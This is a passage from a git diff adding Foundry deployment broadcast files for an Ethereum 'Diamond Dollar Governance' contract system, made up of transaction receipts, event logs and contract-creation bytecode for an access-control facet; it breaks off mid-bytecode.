"0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "contractAddress": null + }, + { + "status": "0x1", + "cumulativeGasUsed": "0x14dfe6d", + "logs": [ + { + "address": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "topics": ["0x08f944f25b910c541435bcde52d233072e903b37afc29bc8b5787b6e74d82c1a"], + "data": "0x00000000000000000000000000000000000000000000000000000000000f695000000000000000000000000000000000000000000000000000000000000f1b30", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "transactionHash": "0x243bebc21d94c75a0535bbd107b62ecf1f1cd3ebf01a97b5fb7ce59b5980a21d", + "transactionIndex": "0x7a", + "logIndex": "0xe5", + "removed": false + } + ], + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000800000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0x243bebc21d94c75a0535bbd107b62ecf1f1cd3ebf01a97b5fb7ce59b5980a21d", + "transactionIndex": "0x7a", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "gasUsed": "0x124d4", + "effectiveGasPrice": "0xbcf76548", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "contractAddress": null + }, + { + "status": "0x1", + "cumulativeGasUsed": "0x14ecb60", + "logs": [ + { + "address": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "topics": ["0x8a77c775772f19a095a743319ccdc8208b70389844786995a8ca94a4f6a8dd02"], + "data": "0x00000000000000000000000000000000000000000000000000000000000e7ef0", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "transactionHash": "0xe786a6732987d10d4b0575a99b6246d6d86992c84eefc876fa3a4b61cfb1213c", + "transactionIndex": "0x7b", + "logIndex": "0xe6", + "removed": false + } + ], + "logsBloom": "0x00000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000010000000000020000000", + "type": "0x2", + "transactionHash": "0xe786a6732987d10d4b0575a99b6246d6d86992c84eefc876fa3a4b61cfb1213c", + "transactionIndex": "0x7b", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "gasUsed": "0xccf3", + "effectiveGasPrice": "0xbcf76548", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "contractAddress": null + }, + { + "status": "0x1", + "cumulativeGasUsed": "0x17e7e06", + "logs": [ + { + "address": "0x7745a062c0a8aaefaa7e7df1e1aabbbafc988972", + "topics": ["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"], + "data": "0x00000000000000000000000000000000000000000000000000000000000000ff", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "transactionHash": "0x30db3b6f8445902510a739692dd04d981f8d860a5f1f8654e65371aee14d9114", + "transactionIndex": "0x7c", + "logIndex": "0xe7", + "removed": false + } + ], + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000080000020000000000000000000000000000001000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0x30db3b6f8445902510a739692dd04d981f8d860a5f1f8654e65371aee14d9114", + "transactionIndex": "0x7c", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "gasUsed": "0x2fb2a6", + "effectiveGasPrice": "0xbcf76548", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": null, + "contractAddress": "0x7745a062c0a8aaefaa7e7df1e1aabbbafc988972" + }, + { + "status": "0x1", + "cumulativeGasUsed": "0x1832d0d", + "logs": [ + { + "address": "0xb6919ef2ee4afc163bc954c5678e2bb570c2d103", + "topics": [ + "0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b", + "0x0000000000000000000000007745a062c0a8aaefaa7e7df1e1aabbbafc988972" + ], + "data": "0x", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "transactionHash": "0x7c4da0ec6bc8992f1a742bd387367915e627f36213b47d73dc048d1973f24967", + "transactionIndex": "0x7d", + "logIndex": "0xe8", + "removed": false + }, + { + "address": "0xb6919ef2ee4afc163bc954c5678e2bb570c2d103", + "topics": ["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"], + "data": "0x0000000000000000000000000000000000000000000000000000000000000001", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "transactionHash": "0x7c4da0ec6bc8992f1a742bd387367915e627f36213b47d73dc048d1973f24967", + "transactionIndex": "0x7d", + "logIndex": "0xe9", + "removed": false + } + ], + "logsBloom": "0x00000000000000000000000000000000400000000000000000800000008000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000002000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000400000000000000000000000000000000000000000020000000000000000000040000000000000000000010000000000000000010000000000000000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0x7c4da0ec6bc8992f1a742bd387367915e627f36213b47d73dc048d1973f24967", + "transactionIndex": "0x7d", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "gasUsed": "0x4af07", + "effectiveGasPrice": "0xbcf76548", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": null, + "contractAddress": "0xb6919ef2ee4afc163bc954c5678e2bb570c2d103" + }, + { + "status": "0x1", + "cumulativeGasUsed": "0x183f613", + "logs": [], + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0xed36cfc26960d8bd74f7a170b6a0d3f9178b2e762438316637abb545ff659b7c", + "transactionIndex": "0x7e", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "gasUsed": "0xc906", + "effectiveGasPrice": "0xbcf76548", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "contractAddress": null + }, + { + "status": "0x1", + "cumulativeGasUsed": "0x18556cb", + "logs": [ + { + "address": "0xb6919ef2ee4afc163bc954c5678e2bb570c2d103", + "topics": [ + "0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef", + "0x0000000000000000000000000000000000000000000000000000000000000000", + "0x000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd" + ], + "data": "0x00000000000000000000000000000000000000000000054b40b1f852bda00000", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "transactionHash": "0x004c51852cc82e0db8d40b4baacf0290ef082f143ecd8f4dd0350e11467eab74", + "transactionIndex": "0x7f", + "logIndex": "0xea", + "removed": false + }, + { + "address": "0xb6919ef2ee4afc163bc954c5678e2bb570c2d103", + "topics": [ + "0xb1233017d63154bc561d57c16f7b6a55e2e1acd7fcac94045a9f35fb31a850ca", + "0x000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd", + "0x000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd" + ], + "data": "0x00000000000000000000000000000000000000000000054b40b1f852bda00000", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "transactionHash": "0x004c51852cc82e0db8d40b4baacf0290ef082f143ecd8f4dd0350e11467eab74", + "transactionIndex": "0x7f", + "logIndex": "0xeb", + "removed": false + } + ], + "logsBloom": "0x00000000000000000000000000000000000000000000000000800000000000000000000000000000000800000000000010000000000000000000000800000000000000000000000000000008000000000000000000000000000000000000000000100000030000000000001000000800000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000800000000000010000000000020000000000000000000000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0x004c51852cc82e0db8d40b4baacf0290ef082f143ecd8f4dd0350e11467eab74", + "transactionIndex": "0x7f", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "gasUsed": "0x160b8", + "effectiveGasPrice": "0xbcf76548", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xb6919ef2ee4afc163bc954c5678e2bb570c2d103", + "contractAddress": null + }, + { + "status": "0x1", + "cumulativeGasUsed": "0x75e007", + "logs": [ + { + "address": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "topics": ["0x9c42f4d9153d55d78cf2011cd58875a5b9a8b1a30b7d0e7857d4fd6930016122"], + "data": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000003d7ae7e594f2f2091ad8798313450130d0aba3a00000000000000000000000000000000000000000000000000000000000000e10", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "transactionHash": "0xdd23c73480e78a237032683322420b848b34320b6322ae37a01e94f6d6024fa5", + "transactionIndex": "0x5d", + "logIndex": "0xc5", + "removed": false + } + ], + "logsBloom": "0x00000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000800000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0xdd23c73480e78a237032683322420b848b34320b6322ae37a01e94f6d6024fa5", + "transactionIndex": "0x5d", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "gasUsed": "0x112de", + "effectiveGasPrice": "0xcd6ce1af", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "contractAddress": null + }, + { + "status": "0x1", + "cumulativeGasUsed": "0x76dd52", + "logs": [ + { + "address": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "topics": ["0x16374e3dc228b497b5a9b2dff5883c395120625fbe7e794fdcc5d305ce13ed07"], + "data": "0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f391a", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "transactionHash": "0x1ba1babc2b61397f3e23f7006a6e030a0bd9293a1c34325a43f93d4529b66f61", + "transactionIndex": "0x5e", + "logIndex": "0xc6", + "removed": false + } + ], + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020020000000000000000000000000000000000000000000000000000000800000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0x1ba1babc2b61397f3e23f7006a6e030a0bd9293a1c34325a43f93d4529b66f61", + "transactionIndex": "0x5e", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "gasUsed": "0xfd4b", + "effectiveGasPrice": "0xcd6ce1af", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "contractAddress": null + }, + { + "status": "0x1", + "cumulativeGasUsed": "0x780386", + "logs": [ + { + "address": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "topics": ["0x78293bd51057152112290a42345ccd9387562eac811030334ea757f4d49bdd23"], + "data": "0x0000000000000000000000003d7ae7e594f2f2091ad8798313450130d0aba3a00000000000000000000000000000000000000000000000000000000000000e10", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "transactionHash": "0x8aaf682c47063531c0721ffca52534f5fbaf1e640febe3df6f65ad64683c4f84", + "transactionIndex": "0x5f", + "logIndex": "0xc7", + "removed": false + } + ], + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000002080000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0x8aaf682c47063531c0721ffca52534f5fbaf1e640febe3df6f65ad64683c4f84", + "transactionIndex": "0x5f", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "gasUsed": "0x12634", + "effectiveGasPrice": "0xcd6ce1af", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "contractAddress": null + }, + { + "status": "0x1", + "cumulativeGasUsed": "0xc9d4a9", + "logs": [ + { + "address": "0xcc68509f9ca0e1ed119eac7c468ec1b1c42f384f", + "topics": [ + "0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef", + "0x0000000000000000000000000000000000000000000000000000000000000000", + "0x0000000000000000000000006a8cbed756804b16e05e741edabd5cb544ae21bf" + ], + "data": "0x0000000000000000000000000000000000000000000000000000000000000000", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "transactionHash": "0x0fcd7b38cff7c4388b3c512ae6bc07005be9ce2234760affc4a29fbbee6dfe42", + "transactionIndex": "0x60", + "logIndex": "0xc8", + "removed": false + }, + { + "address": "0x6a8cbed756804b16e05e741edabd5cb544ae21bf", + "topics": ["0xd1d60d4611e4091bb2e5f699eeb79136c21ac2305ad609f3de569afc3471eecc"], + "data": "0x0000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000006400000000000000000000000000000000000000000000000000000000003d0900000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd00000000000000000000000000000000000000000000000000000000000000020000000000000000000000005f98805a4e8be255a32880fdec7f6728c6568ba0000000000000000000000000b6919ef2ee4afc163bc954c5678e2bb570c2d103", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "transactionHash": "0x0fcd7b38cff7c4388b3c512ae6bc07005be9ce2234760affc4a29fbbee6dfe42", + "transactionIndex": "0x60", + "logIndex": "0xc9", + "removed": false + } + ], + "logsBloom": "0x00000000000000000800000000000040000000000000000000000000000000000000000000080000002000000000000000000000000000000000000000000000000000000000000080000008000000000000000000000000000000000000000000000000020002000000000000000800000000000000000000000010000000000000000000000000000000000004000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000002000000040000000000000000000000000000001000000000000020800000000000000000000000000000000000000010000000000000000000000000", + "type": "0x2", + "transactionHash": "0x0fcd7b38cff7c4388b3c512ae6bc07005be9ce2234760affc4a29fbbee6dfe42", + "transactionIndex": "0x60", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "gasUsed": "0x51d123", + "effectiveGasPrice": "0xcd6ce1af", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0x6a8cbed756804b16e05e741edabd5cb544ae21bf", + "contractAddress": null + }, + { + "status": "0x1", + "cumulativeGasUsed": "0xca9db1", + "logs": [], + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0x6ec39d56006098dfab8f892bf2584c2df0cdbbdba32790318b4e7a7bd3a1069b", + "transactionIndex": "0x61", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "gasUsed": "0xc908", + "effectiveGasPrice": "0xcd6ce1af", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "contractAddress": null + }, + { + "status": "0x1", + "cumulativeGasUsed": "0xcb6692", + "logs": [ + { + "address": "0x4da97a8b831c345dbe6d16ff7432df2b7b776d98", + "topics": [ + "0x2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d", + "0x3a2e010201653e4743db35ee85e81b63eb19cf8948f24794ef2b4dba5ecf49c9", + "0x000000000000000000000000ed3084c98148e2528dadcb53c56352e549c488fa", + "0x000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd" + ], + "data": "0x", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "transactionHash": "0xc140cd970fd44fbe40cd8cf44d599756778eb631c5c62bbd2e2f4791efbd31f1", + "transactionIndex": "0x62", + "logIndex": "0xca", + "removed": false + } + ], + "logsBloom": "0x00000004000000000000000000000000000000000100000000000020000000000000000000000000000800000000000000000000000000000000000000000000000000000000000020000000000000000000100000000000000000000000000000100000000000000000001000000000000000000000000040000000000000000200000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000800000000000000000000100000080000000000000000000000000000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0xc140cd970fd44fbe40cd8cf44d599756778eb631c5c62bbd2e2f4791efbd31f1", + "transactionIndex": "0x62", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "gasUsed": "0xc8e1", + "effectiveGasPrice": "0xcd6ce1af", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0x4da97a8b831c345dbe6d16ff7432df2b7b776d98", + "contractAddress": null + }, + { + "status": "0x1", + "cumulativeGasUsed": "0xcc2f73", + "logs": [ + { + "address": "0x4da97a8b831c345dbe6d16ff7432df2b7b776d98", + "topics": [ + "0x2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d", + "0xa3405bb4244d0786f3e4178acef3953ebb3f56c1e97e9530871f50739923c1cf", + "0x000000000000000000000000ed3084c98148e2528dadcb53c56352e549c488fa", + "0x000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd" + ], + "data": "0x", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "transactionHash": "0x6d154269fb29eefff3c1cbbcdeab165cb2bb1b421df7ce1dbbaf950e22e62169", + "transactionIndex": "0x63", + "logIndex": "0xcb", + "removed": false + } + ], + "logsBloom": "0x00000004000000000000000000000000000000000100000000000020000000000000000000000000000800000000000000000000000000000000000000000000000000000000000020000000000000000000000000800000000000000000000000100000000000000000001000000000000000000000000040000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001040000000000000000000000000000000000000800000000000000000000100000000000000000000000000000010000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0x6d154269fb29eefff3c1cbbcdeab165cb2bb1b421df7ce1dbbaf950e22e62169", + "transactionIndex": "0x63", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "gasUsed": "0xc8e1", + "effectiveGasPrice": "0xcd6ce1af", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0x4da97a8b831c345dbe6d16ff7432df2b7b776d98", + "contractAddress": null + }, + { + "status": "0x1", + "cumulativeGasUsed": "0xccf858", + "logs": [], + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0xc3ec04777c62001f9020f9caaaccf7b8b92d88b9b006da09643da9abad39aa8a", + "transactionIndex": "0x64", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "gasUsed": "0xc8e5", + "effectiveGasPrice": "0xcd6ce1af", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "contractAddress": null + }, + { + "status": "0x1", + "cumulativeGasUsed": "0xce1e5f", + "logs": [ + { + "address": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "topics": ["0xe6bcf4a564a699a1c83d282eab21db81fe3ef3c3f867c402e63d074bb77925ff"], + "data": "0x0000000000000000000000005f4ec3df9cbd43714fe2740f5e3616155c5b84190000000000000000000000000000000000000000000000000000000000000e10", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "transactionHash": "0xa77b0dbf15da5c7707c0a2ab5e056386f75b0172dca10f9cf3f0631930bd40b4", + "transactionIndex": "0x65", + "logIndex": "0xcc", + "removed": false + } + ], + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000010000000080001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0xa77b0dbf15da5c7707c0a2ab5e056386f75b0172dca10f9cf3f0631930bd40b4", + "transactionIndex": "0x65", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "gasUsed": "0x12607", + "effectiveGasPrice": "0xcd6ce1af", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "contractAddress": null + }, + { + "status": "0x1", + "cumulativeGasUsed": "0xceec4e", + "logs": [ + { + "address": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "topics": ["0xdac3a48dff76eec0a284b649cfb07035804ede2892dbaf7e72050756144fbb8c"], + "data": "0x000000000000000000000000acdc85afcd8b83eb171affcbe29fad204f6ae45c", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "transactionHash": "0x3882a2c08ecb242154d48ddbe6a5285b48694ee91829781e4634c6aa7e3fd7ef", + "transactionIndex": "0x66", + "logIndex": "0xcd", + "removed": false + } + ], + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000080000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0x3882a2c08ecb242154d48ddbe6a5285b48694ee91829781e4634c6aa7e3fd7ef", + "transactionIndex": "0x66", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "gasUsed": "0xcdef", + "effectiveGasPrice": "0xcd6ce1af", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "contractAddress": null + } + ], + "libraries": [], + "pending": [], + "returns": {}, + "timestamp": 1715578665, + "chain": 1, + "commit": "5db9383a" +} diff --git a/packages/contracts/broadcast/Deploy001_Diamond_Dollar_Governance.s.sol/1/run-latest.json b/packages/contracts/broadcast/Deploy001_Diamond_Dollar_Governance.s.sol/1/run-latest.json new file mode 100644 index 000000000..aa35ab295 --- /dev/null +++ b/packages/contracts/broadcast/Deploy001_Diamond_Dollar_Governance.s.sol/1/run-latest.json @@ -0,0 +1,1448 @@ +{ + "transactions": [ + { + "hash": "0x29d4c9a8b3b5b9480032ac1ee2374be917a6f5fd22a3f5db882d819be6b9b3bb", + "transactionType": "CREATE", + "contractName": "AccessControlFacet", + "contractAddress": "0xe17a61e55ccbc3d1e56b6a26ea1d4f8382a40ad9", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "gas": "0x100066", + "value": "0x0", + "input": "0x608060405234801561001057600080fd5b50610db9806100206000396000f3fe608060405234801561001057600080fd5b50600436106100a35760003560e01c80635c975abb116100765780638bb9c5bf1161005b5780638bb9c5bf1461011e57806391d1485414610131578063d547741f1461014457600080fd5b80635c975abb146100fe5780638456cb591461011657600080fd5b80631e4e0091146100a8578063248a9ca3146100bd5780632f2ff15d146100e35780633f4ba83a146100f6575b600080fd5b6100bb6100b6366004610b10565b610157565b005b6100d06100cb366004610b32565b6101db565b6040519081526020015b60405180910390f35b6100bb6100f1366004610b4b565b6101ec565b6100bb61020d565b6101066102f4565b60405190151581526020016100da565b6100bb610307565b6100bb61012c366004610b32565b6103ed565b61010661013f366004610b4b565b6103f9565b6100bb610152366004610b4b565b61040c565b610162600033610428565b6101cd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e0000000060448201526064015b60405180910390fd5b6101d7828261044b565b5050565b60006101e68261046b565b92915050565b6101f58261046b565b6101fe81610489565b6102088383610493565b505050565b60165460ff16610279576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f5061757361626c653a206e6f742070617573656400000000000000000000000060448201526064016101c4565b610284600033610428565b6102ea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e0000000060448201526064016101c4565b6102f26104fe565b565b600061030260165460ff1690565b905090565b60165460ff1615610374576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f5061757361626c653a207061757365640000000000000000000000000000000060448201526064016101c4565b61037f600033610428565b6103e5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e0000000060448201526064016101c4565b6102f261055c565b6103f6816105b7565b50565b60006104058383610428565b9392505050565b6104158261046b565b61041e81610489565b61020883836105bd565b600061040582610436610628565b6000868152602091909152604090209061067e565b80610454610628565b600093845260205260409092206002019190915550565b6000610475610628565b600092835260205250604090206002015490565b6103f681336106ad565b6104b48161049f610628565b60008581526020919091526040902090610754565b50604051339073ffffffffffffffffffffffffffffffffffffffff83169084907f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d90600090a45050565b601680547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690556040513381527f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa906020015b60405180910390a1565b601680547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790556040513381527f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25890602001610552565b6103f681335b6105de816105c9610628565b60008581526020919091526040902090610776565b50604051339073ffffffffffffffffffffffffffffffffffffffff83169084907ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b90600090a45050565b6000807